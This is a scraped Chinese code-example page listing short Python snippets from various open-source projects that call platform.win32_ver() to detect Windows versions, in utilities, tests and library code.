python类win32_ver()的实例源码

implant.py 文件源码 项目:stegator 作者: 1modm 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def build(self):
        if (any(platform.win32_ver())):
            stroutput = self.remove_accents(self.output)
        else:
            stroutput = self.output

        cmd = {'sender': self.sender,
                'receiver': self.receiver,
                'output': stroutput,
                'cmd': self.cmd,
                'jobid': self.jobid}
        return base64.b64encode(json.dumps(cmd))


#------------------------------------------------------------------------------
# Class ChromePasswords
#------------------------------------------------------------------------------
tf_glove.py 文件源码 项目:FYP-AutoTextSum 作者: MrRexZ 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def __convert_csv_to_coocur_dict(self, res_folder):
        import csv, win32api
        import platform
        cooccurrence_counts = defaultdict(float)
        new_words = []
        res_folder_gen = [label_folder for label_folder in os.listdir(res_folder) if label_folder[:2] != SUCCESS_HEADER]
        for label_folder in res_folder_gen:
            csv_gen = [csv_fname for csv_fname in os.listdir(os.path.join(res_folder, label_folder)) if csv_fname[-3:] == 'csv']
            for csv_fname in csv_gen:
                if any(platform.win32_ver()):
                    csv_file =  win32api.GetShortPathName(os.path.join(win32api.GetShortPathName(res_folder), label_folder, csv_fname))
                else:
                    csv_file = os.path.join(res_folder, label_folder, csv_fname)
                reader = csv.DictReader(open(csv_file), fieldnames=['tgt_word', 'ctx_word', 'coor_val'])
                for row in reader:
                    target_word = row['tgt_word']
                    context_word = row['ctx_word']
                    print(row['tgt_word'])
                    if (self.__embeddings is None or target_word not in self.__embeddings.keys()) and target_word not in new_words:
                        new_words.append(target_word)
                    if (self.__embeddings is None or context_word not in self.__embeddings.keys()) and context_word not in new_words:
                        new_words.append(context_word)
                    cooccurrence_counts[(target_word, context_word)] = row['coor_val']
        self.__new_words = new_words
        return cooccurrence_counts
preconda.py 文件源码 项目:constructor 作者: conda 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def system_info():
    import constructor, sys, platform
    import conda.exports, conda.config
    out = {'constructor': constructor.__version__,
           'conda': conda.__version__,
           'platform': sys.platform,
           'python': sys.version,
           'python_version': tuple(sys.version_info),
           'machine': platform.machine(),
           'platform_full': platform.version()}
    if sys.platform == 'darwin':
        out['extra'] = platform.mac_ver()
    elif sys.platform.startswith('linux'):
        out['extra'] = platform.dist()
    elif sys.platform.startswith('win'):
        out['extra'] = platform.win32_ver()
        prefix = os.environ.get('CONDA_PREFIX', conda.config.default_prefix)
        prefix_records = conda.exports.linked_data(prefix).values()
        nsis_prefix_rec = next(
            (rec for rec in prefix_records if rec.name == 'nsis'), None)
        if nsis_prefix_rec:
            out['nsis'] = nsis_prefix_rec.version
    return out
base.py 文件源码 项目:FightstickDisplay 作者: calexil 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def run(self):
        '''Begin processing events, scheduled functions and window updates.

        This method returns when `has_exit` is set to True.

        Developers are discouraged from overriding this method, as the
        implementation is platform-specific.
        '''
        self.has_exit = False
        self._legacy_setup()

        platform_event_loop = app.platform_event_loop
        platform_event_loop.start()
        self.dispatch_event('on_enter')

        self.is_running = True
        if compat_platform == 'win32' and int(platform.win32_ver()[0]) <= 5:
            self._run_estimated()
        else:
            self._run()
        self.is_running = False

        self.dispatch_event('on_exit')
        platform_event_loop.stop()
base.py 文件源码 项目:cryptogram 作者: xinmingzhang 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def run(self):
        '''Begin processing events, scheduled functions and window updates.

        This method returns when `has_exit` is set to True.

        Developers are discouraged from overriding this method, as the
        implementation is platform-specific.
        '''
        self.has_exit = False
        self._legacy_setup()

        platform_event_loop = app.platform_event_loop
        platform_event_loop.start()
        self.dispatch_event('on_enter')

        self.is_running = True
        if compat_platform == 'win32' and int(platform.win32_ver()[0]) <= 5:
            self._run_estimated()
        else:
            self._run()
        self.is_running = False

        self.dispatch_event('on_exit')
        platform_event_loop.stop()
pdf_helper.py 文件源码 项目:ZLib 作者: zenist 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def __register_font(self):
        '''
        ????????,?????????????
        :return:
        '''
        if platform.system() == 'Windows':
            if platform.win32_ver()[0] == '8':
                __platform = 'Win8'
            else:
                __platform =  'Win7orLower'
        elif platform.system() == 'Linux':
            __platform =  'Linux'
        else:
            __platform =  'MacOS'

        if __platform != 'Win7orLower':
            if __platform == 'Win8':
                pdfmetrics.registerFont(TTFont('chsFont','msyh.TTC'))
            elif __platform == 'MacOS':
                pdfmetrics.registerFont(TTFont('chsFont', 'STHeiti Light.ttc'))
            elif __platform == 'Linux': #???linux??????????????????
                pdfmetrics.registerFont(TTFont('chsFont','STHeiti Light.ttc'))
        else:
            pdfmetrics.registerFont(TTFont('chsFont','msyh.TTF'))
utils.py 文件源码 项目:linuxacademy-dl 作者: vassim 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def sys_info():
    result = {
        'platform': '{} [{}]'.format(platform.platform(), platform.version()),
        'python': '{} {}'.format(
            platform.python_implementation(),
            sys.version.replace('\n', '')
        ),
        'os': 'Unknown'
    }

    linux_ver = platform.linux_distribution()
    mac_ver = platform.mac_ver()
    win_ver = platform.win32_ver()

    if linux_ver[0]:
        result['os'] = 'Linux - {}'.format(' '.join(linux_ver))
    elif mac_ver[0]:
        result['os'] = 'OS X - {}'.format(' '.join(mac_ver[::2]))
    elif win_ver[0]:
        result['os'] = 'Windows - {}'.format(' '.join(win_ver[:2]))

    return result
__init__.py 文件源码 项目:python-zulip-api 作者: zulip 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def get_user_agent(self):
        # type: () -> str
        vendor = ''
        vendor_version = ''
        try:
            vendor = platform.system()
            vendor_version = platform.release()
        except IOError:
            # If the calling process is handling SIGCHLD, platform.system() can
            # fail with an IOError.  See http://bugs.python.org/issue9127
            pass

        if vendor == "Linux":
            vendor, vendor_version, dummy = platform.linux_distribution()
        elif vendor == "Windows":
            vendor_version = platform.win32_ver()[1]
        elif vendor == "Darwin":
            vendor_version = platform.mac_ver()[0]

        return "{client_name} ({vendor}; {vendor_version})".format(
            client_name=self.client_name,
            vendor=vendor,
            vendor_version=vendor_version,
        )
nwnc.py 文件源码 项目:NoWannaNoCry 作者: dolang 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def os_id_index():
    """Get the index of the machine OS in the `OS_ID` tuple.

    The `OS_ID` tuple contains the major and minor version of all
    affected Windows versions.  These are matched against
    the major and minor version of `sys.getwindowsversion()`.

    For Windows 8.1 and above `sys.getwindowsversion()` doesn't
    report the correct value, these systems are handled specially. 

    Windows 8 and Server 2012 are special cased because the have the
    same version numbers but require different KBs.

    :return: The index of the operating system in `OS_ID`.
    :rtype: int
    """
    winver = sys.getwindowsversion()
    # sys.getwindowsversion is not enough by itself as the underlying
    # API has been deprecated.  Only applications which have been
    # developed specifically for Windows 8.1 and above, and write that
    # into their manifest file get the correct Windows version on those
    # systems.  Other applications (Python doesn't have the manifest)
    # get a version that pretends to be Windows 8 (major=6, minor=2).
    # See:
    # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724834.aspx
    major, minor = winver.major, winver.minor
    if (major, minor) == (6, 2):
        # Determine if this system is a newer version than Windows 8 by
        # parsing the version string in `platform.win32_ver()[1]`:
        major, minor = tuple(map(int, platform.win32_ver()[1].split('.')[:2]))
    for i, os_id in enumerate(OS_ID):
        if os_id[:2] == (major, minor):
            if len(os_id) == 2:
                return i
            # else evaluate the third item if present which is a lambda:
            if os_id[2]():
                return i
            # otherwise continue with the next item
test_arg_parsing.py 文件源码 项目:aws-encryption-sdk-cli 作者: awslabs 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def patch_platform_win32_ver(mocker):
    mocker.patch.object(arg_parsing.platform, 'win32_ver')
    return arg_parsing.platform.win32_ver
test_arg_parsing.py 文件源码 项目:aws-encryption-sdk-cli 作者: awslabs 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def test_f_comment_ignoring_argument_parser_convert_filename():
    # Actually checks against the current local system
    parser = arg_parsing.CommentIgnoringArgumentParser()

    if any(platform.win32_ver()):
        assert not parser._CommentIgnoringArgumentParser__is_posix
        expected_transform = NON_POSIX_FILEPATH
    else:
        assert parser._CommentIgnoringArgumentParser__is_posix
        expected_transform = POSIX_FILEPATH

    parsed_line = [arg for arg in parser.convert_arg_line_to_args(expected_transform[0])]
    assert expected_transform[1] == parsed_line
unit_test_utils.py 文件源码 项目:aws-encryption-sdk-cli 作者: awslabs 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def is_windows():
    return any(platform.win32_ver())
integration_test_utils.py 文件源码 项目:aws-encryption-sdk-cli 作者: awslabs 项目源码 文件源码 阅读 40 收藏 0 点赞 0 评论 0
def is_windows():
    return any(platform.win32_ver())
arg_parsing.py 文件源码 项目:aws-encryption-sdk-cli 作者: awslabs 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def __init__(self, *args, **kwargs):
        """Sets up the dummy argument registry."""
        # The type profile for this it really complex and we don't do anything to it, so
        # I would rather not duplicate the typeshed's effort keeping it up to date.
        # https://github.com/python/typeshed/blob/master/stdlib/2and3/argparse.pyi#L27-L39
        self.__dummy_arguments = []
        self.__is_posix = not any(platform.win32_ver())
        super(CommentIgnoringArgumentParser, self).__init__(*args, **kwargs)
__init__.py 文件源码 项目:rfcat-firsttry 作者: atlas0fd00m 项目源码 文件源码 阅读 45 收藏 0 点赞 0 评论 0
def getCurrentDef(normname):
    bname, wver, stuff, whichkern = platform.win32_ver()
    wvertup = wver.split('.')
    arch = envi.getCurrentArch()
    if isSysWow64():
        arch = 'wow64'

    modname = 'vstruct.defs.windows.win_%s_%s_%s.%s' % (wvertup[0], wvertup[1], arch, normname)

    try:
        mod = __import__(modname, {}, {}, 1)
    except ImportError, e:
        mod = None
    return mod
test_ssl.py 文件源码 项目:zippy 作者: securesystemslab 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def test_main(verbose=False):
    if support.verbose:
        plats = {
            'Linux': platform.linux_distribution,
            'Mac': platform.mac_ver,
            'Windows': platform.win32_ver,
        }
        for name, func in plats.items():
            plat = func()
            if plat and plat[0]:
                plat = '%s %r' % (name, plat)
                break
        else:
            plat = repr(platform.platform())
        print("test_ssl: testing with %r %r" %
            (ssl.OPENSSL_VERSION, ssl.OPENSSL_VERSION_INFO))
        print("          under %s" % plat)
        print("          HAS_SNI = %r" % ssl.HAS_SNI)

    for filename in [
        CERTFILE, SVN_PYTHON_ORG_ROOT_CERT, BYTES_CERTFILE,
        ONLYCERT, ONLYKEY, BYTES_ONLYCERT, BYTES_ONLYKEY,
        BADCERT, BADKEY, EMPTYCERT]:
        if not os.path.exists(filename):
            raise support.TestFailed("Can't read certificate file %r" % filename)

    tests = [ContextTests, BasicSocketTests]

    if support.is_resource_enabled('network'):
        tests.append(NetworkedTests)

    if _have_threads:
        thread_info = support.threading_setup()
        if thread_info and support.is_resource_enabled('network'):
            tests.append(ThreadedTests)

    try:
        support.run_unittest(*tests)
    finally:
        if _have_threads:
            support.threading_cleanup(*thread_info)
test_platform.py 文件源码 项目:zippy 作者: securesystemslab 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def test_win32_ver(self):
        res = platform.win32_ver()
core.py 文件源码 项目:python3-utils 作者: soldni 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def is_windows():
    return any(platform.win32_ver())
test_platform.py 文件源码 项目:oil 作者: oilshell 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def test_win32_ver(self):
        res = platform.win32_ver()
genwincodec.py 文件源码 项目:oil 作者: oilshell 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def genwincodec(codepage):
    import platform
    map = genwinmap(codepage)
    encodingname = 'cp%d' % codepage
    code = codegen("", map, encodingname)
    # Replace first lines with our own docstring
    code = '''\
"""Python Character Mapping Codec %s generated on Windows:
%s with the command:
  python Tools/unicode/genwincodec.py %s
"""#"
''' % (encodingname, ' '.join(platform.win32_ver()), codepage
      ) + code.split('"""#"', 1)[1]

    print code
test_platform.py 文件源码 项目:python2-tracer 作者: extremecoders-re 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def test_win32_ver(self):
        res = platform.win32_ver()
genwincodec.py 文件源码 项目:python2-tracer 作者: extremecoders-re 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def genwincodec(codepage):
    import platform
    map = genwinmap(codepage)
    encodingname = 'cp%d' % codepage
    code = codegen("", map, encodingname)
    # Replace first lines with our own docstring
    code = '''\
"""Python Character Mapping Codec %s generated on Windows:
%s with the command:
  python Tools/unicode/genwincodec.py %s
"""#"
''' % (encodingname, ' '.join(platform.win32_ver()), codepage
      ) + code.split('"""#"', 1)[1]

    print code
__init__.py 文件源码 项目:vivisect-py3 作者: bat-serjo 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def getCurrentDef(normname):
    bname, wver, stuff, whichkern = platform.win32_ver()
    wvertup = wver.split('.')
    arch = envi.getCurrentArch()
    if isSysWow64():
        arch = 'wow64'

    modname = 'vstruct.defs.windows.win_%s_%s_%s.%s' % (wvertup[0], wvertup[1], arch, normname)

    try:
        mod = __import__(modname, {}, {}, 1)
    except ImportError as e:
        mod = None
    return mod
test_ssl.py 文件源码 项目:web_ctp 作者: molebot 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def test_main(verbose=False):
    if support.verbose:
        plats = {
            'Linux': platform.linux_distribution,
            'Mac': platform.mac_ver,
            'Windows': platform.win32_ver,
        }
        for name, func in plats.items():
            plat = func()
            if plat and plat[0]:
                plat = '%s %r' % (name, plat)
                break
        else:
            plat = repr(platform.platform())
        print("test_ssl: testing with %r %r" %
            (ssl.OPENSSL_VERSION, ssl.OPENSSL_VERSION_INFO))
        print("          under %s" % plat)
        print("          HAS_SNI = %r" % ssl.HAS_SNI)

    for filename in [
        CERTFILE, SVN_PYTHON_ORG_ROOT_CERT, BYTES_CERTFILE,
        ONLYCERT, ONLYKEY, BYTES_ONLYCERT, BYTES_ONLYKEY,
        BADCERT, BADKEY, EMPTYCERT]:
        if not os.path.exists(filename):
            raise support.TestFailed("Can't read certificate file %r" % filename)

    tests = [ContextTests, BasicSocketTests, SSLErrorTests]

    if support.is_resource_enabled('network'):
        tests.append(NetworkedTests)

    if _have_threads:
        thread_info = support.threading_setup()
        if thread_info:
            tests.append(ThreadedTests)

    try:
        support.run_unittest(*tests)
    finally:
        if _have_threads:
            support.threading_cleanup(*thread_info)
test_platform.py 文件源码 项目:web_ctp 作者: molebot 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def test_win32_ver(self):
        res = platform.win32_ver()
__init__.py 文件源码 项目:rfcat 作者: EnhancedRadioDevices 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def getCurrentDef(normname):
    bname, wver, stuff, whichkern = platform.win32_ver()
    wvertup = wver.split('.')
    arch = envi.getCurrentArch()
    if isSysWow64():
        arch = 'wow64'

    modname = 'vstruct.defs.windows.win_%s_%s_%s.%s' % (wvertup[0], wvertup[1], arch, normname)

    try:
        mod = __import__(modname, {}, {}, 1)
    except ImportError, e:
        mod = None
    return mod
__init__.py 文件源码 项目:rfcat 作者: atlas0fd00m 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def getCurrentDef(normname):
    bname, wver, stuff, whichkern = platform.win32_ver()
    wvertup = wver.split('.')
    arch = envi.getCurrentArch()
    if isSysWow64():
        arch = 'wow64'

    modname = 'vstruct.defs.windows.win_%s_%s_%s.%s' % (wvertup[0], wvertup[1], arch, normname)

    try:
        mod = __import__(modname, {}, {}, 1)
    except ImportError, e:
        mod = None
    return mod
platform_helper.py 文件源码 项目:ZLib 作者: zenist 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def get_system_type(cls):
        '''???????????'''
        if platform.system() == 'Windows':
            if platform.win32_ver()[0] == '8':
                return 'Win8'
            else:
                return 'Win7orLower'
        elif platform.system() == 'Linux':
            return 'Linux'
        else:
            return 'MacOS'
test_platform.py 文件源码 项目:pefile.pypy 作者: cloudtracer 项目源码 文件源码 阅读 18 收藏 0 点赞 0 评论 0
def test_win32_ver(self):
        res = platform.win32_ver()
test_platform.py 文件源码 项目:ouroboros 作者: pybee 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def test_win32_ver(self):
        res = platform.win32_ver()


问题


面经


文章

微信
公众号

扫码关注公众号